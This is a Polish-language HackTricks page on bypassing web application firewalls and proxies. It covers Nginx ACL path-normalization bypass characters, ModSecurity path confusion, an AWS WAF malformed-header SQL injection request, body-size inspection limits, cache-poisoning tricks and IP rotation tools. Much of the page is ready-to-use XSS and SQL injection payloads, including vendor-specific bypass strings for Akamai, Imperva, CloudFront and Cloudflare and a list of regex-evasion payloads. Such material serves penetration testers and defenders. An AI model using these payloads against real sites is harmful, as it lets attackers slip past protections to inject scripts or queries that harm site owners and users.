Proxy / WAF Protections Bypass
Reading time: 12 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Bypass Nginx ACL Rules with Pathname Manipulation
Techniki z tego badania.
Przykład reguły Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Aby zapobiec obejściom, Nginx dokonuje normalizacji ścieżek przed ich sprawdzeniem. Jednak jeśli serwer backendowy wykonuje inną normalizację (usuwając znaki, których nginx nie usuwa), może być możliwe obejście tej ochrony.
NodeJS - Express
Nginx Version | Node.js Bypass Characters |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Nginx Version | Flask Bypass Characters |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Nginx Version | Spring Boot Bypass Characters |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Konfiguracja Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx jest skonfigurowany tak, aby blokować dostęp do /admin.php
, ale można to obejść, uzyskując dostęp do /admin.php/index.php
.
Jak zapobiec
location ~* ^/admin {
deny all;
}
Bypass Mod Security Rules
Path Confusion
In this post wyjaśniono, że ModSecurity v3 (do wersji 3.0.12) błędnie zaimplementował zmienną REQUEST_FILENAME
, która miała zawierać ścieżkę dostępu (do początku parametrów). Dzieje się tak, ponieważ wykonywał URL-dekodowanie, aby uzyskać ścieżkę.
W związku z tym żądanie takie jak http://example.com/foo%3f';alert(1);foo=
w mod security zostanie zinterpretowane, że ścieżka to tylko /foo
, ponieważ %3f
zostaje przekształcone w ?
, kończąc część ścieżki URL, ale faktyczna ścieżka, którą otrzyma serwer, to /foo%3f';alert(1);foo=
.
Zmienne REQUEST_BASENAME
i PATH_INFO
również były dotknięte tym bugiem.
Coś podobnego wystąpiło w wersji 2 ModSecurity, co pozwalało obejść ochronę uniemożliwiającą dostęp do plików o określonych rozszerzeniach związanych z backupami (np. .bak
) poprzez przesłanie kropki zakodowanej w URL jako %2e
, np.: https://example.com/backup%2ebak
.
Bypass AWS WAF ACL
Malformed Header
This research wspomina, że można było obejść reguły AWS WAF stosowane do nagłówków HTTP przez wysłanie "nieprawidłowego" nagłówka, który nie był poprawnie parsowany przez AWS, ale był parsowany przez serwer backend.
For example, sending the following request with a SQL injection in the header X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Było możliwe obejście AWS WAF, ponieważ nie rozpoznawał, że kolejna linia jest częścią wartości nagłówka, podczas gdy serwer NODEJS to rozpoznawał (to zostało naprawione).
Ogólne obejścia WAF
Limity rozmiaru żądania
WAF-y często mają określony limit długości żądań do sprawdzenia i jeśli żądanie POST/PUT/PATCH przekracza ten limit, WAF nie sprawdzi tego żądania.
- Dla AWS WAF, możesz check the documentation:
Maksymalny rozmiar ciała żądania webowego, który może być analizowany dla ochrony Application Load Balancer i AWS AppSync protections | 8 KB |
Maksymalny rozmiar ciała żądania webowego, który może być analizowany dla ochrony CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections** | 64 KB |
- Z Azure docs:
Starsze Web Application Firewalls z Core Rule Set 3.1 (lub niższym) pozwalają na wiadomości większe niż 128 KB przez wyłączenie inspekcji ciała żądania, ale takie wiadomości nie będą sprawdzane pod kątem podatności. W nowszych wersjach (Core Rule Set 3.2 lub nowszym) to samo można zrobić przez wyłączenie maksymalnego limitu ciała żądania. Gdy żądanie przekracza limit rozmiaru:
Jeśli prevention mode: Loguje i blokuje żądanie.
Jeśli detection mode: Analizuje do limitu, ignoruje resztę i loguje, jeśli Content-Length
przekracza limit.
- Z Akamai:
Domyślnie WAF analizuje tylko pierwsze 8KB żądania. Można zwiększyć limit do 128KB przez dodanie Advanced Metadata.
- Z Cloudflare:
Do 128KB.
Static assets inspection gaps (.js GETs)
Niektóre stosy CDN/WAF stosują słabą lub żadną inspekcję treści dla żądań GET zasobów statycznych (np. ścieżki kończące się na .js
), jednocześnie stosując reguły globalne takie jak rate limiting i IP reputation. W połączeniu z auto-cachingiem rozszerzeń statycznych, można to wykorzystać do dostarczenia lub zaszczepienia złośliwych wariantów, które wpływają na późniejsze odpowiedzi HTML.
Praktyczne zastosowania:
- Wysyłaj payloads w niesprawdzonych nagłówkach (np.
User-Agent
) w żądaniu GET do ścieżki.js
, aby uniknąć inspekcji treści, a następnie natychmiast zażądaj głównego HTML, aby wpłynąć na cachowany wariant. - Użyj świeżego/czystego IP; gdy IP zostanie oznaczone, zmiany routingu mogą uczynić technikę zawodną.
- W Burp Repeater użyj "Send group in parallel" (single-packet style), aby wyścigać dwa żądania (
.js
potem HTML) przez tę samą ścieżkę front-end.
To dobrze współgra z header-reflection cache poisoning. Zobacz:
Cache Poisoning and Cache Deception
Obfuskacja
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Zgodność Unicode
W zależności od implementacji normalizacji Unicode (więcej informacji here), znaki kompatybilne w Unicode mogą być w stanie obejść WAF i zostać wykonane jako zamierzony payload. Zgodne znaki można znaleźć here.
Przykład
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Ominięcie kontekstowych WAF-ów za pomocą kodowań
Jak wspomniano w this blog post, aby ominąć WAFy, które potrafią utrzymywać kontekst wejścia użytkownika, można nadużyć mechanizmów WAF, by tak naprawdę znormalizować dane wejściowe użytkownika.
Na przykład we wpisie wspomniano, że Akamai URL decoded a user input 10 times. W związku z tym coś takiego jak <input/%2525252525252525253e/onfocus
zostanie przez Akamai zinterpretowane jako <input/>/onfocus
, co może sprawiać wrażenie, że tag jest zamknięty. Jednak dopóki aplikacja nie dokonuje dekodowania URL 10 razy, ofiara zobaczy coś takiego jak <input/%25252525252525253e/onfocus
, co jest wciąż poprawne dla ataku XSS.
To pozwala na ukrycie payloadów w zakodowanych komponentach, które WAF odszyfruje i zinterpretuje, podczas gdy ofiara ich nie zobaczy.
Co więcej, można to robić nie tylko z payloadami zakodowanymi w URL, ale także z innymi kodowaniami, takimi jak unicode, hex, octal...
W poście zaproponowano następujące końcowe bypasses:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
- Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
- AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
- Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
Wspomniano również, że w zależności od tego, jak niektóre WAFy rozumieją kontekst wejścia użytkownika, możliwe jest jego nadużycie. Przykład podany w blogu mówi, że Akamai pozwalał(a) na umieszczanie dowolnych rzeczy między /*
i */
(prawdopodobnie dlatego, że jest to powszechnie używane jako komentarz). W związku z tym SQLinjection taki jak /*'or sleep(5)-- -*/
nie zostanie wykryty i będzie ważny, ponieważ /*
jest początkiem łańcucha injekcji, a */
jest traktowane jako komentarz.
Tego typu problemy kontekstowe można także wykorzystać do nadużywania innych podatności niż ta, którą WAF miał chronić (np. można to użyć do exploitacji XSS).
H2C Smuggling
IP Rotation
- https://github.com/ustayready/fireprox: Generuje URL API gateway do użycia z ffuf
- https://github.com/rootcathacking/catspin: Podobne do fireprox
- https://github.com/PortSwigger/ip-rotate: Wtyczka Burp Suite wykorzystująca IP z API gateway
- https://github.com/fyoorer/ShadowClone: Dynamicznie określana liczba instancji kontenerów jest aktywowana na podstawie wielkości pliku wejściowego i współczynnika podziału; wejście jest dzielone na kawałki do równoległego przetwarzania — np. 100 instancji przetwarzających 100 kawałków z pliku wejściowego o 10 000 liniach przy współczynniku podziału 100 linii.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
Różne techniki mogą być użyte do ominięcia filtrów regex na firewallach. Przykłady obejmują zmienianie wielkości liter, dodawanie łamań linii oraz kodowanie payloadów. Zasoby dotyczące różnych bypassów znajdują się w PayloadsAllTheThings i OWASP. Przykłady poniżej pochodzą z this article.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Narzędzia
- nowafpls: Wtyczka Burp dodająca śmieciowe dane do żądań w celu ominięcia WAFs przez długość
Referencje
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.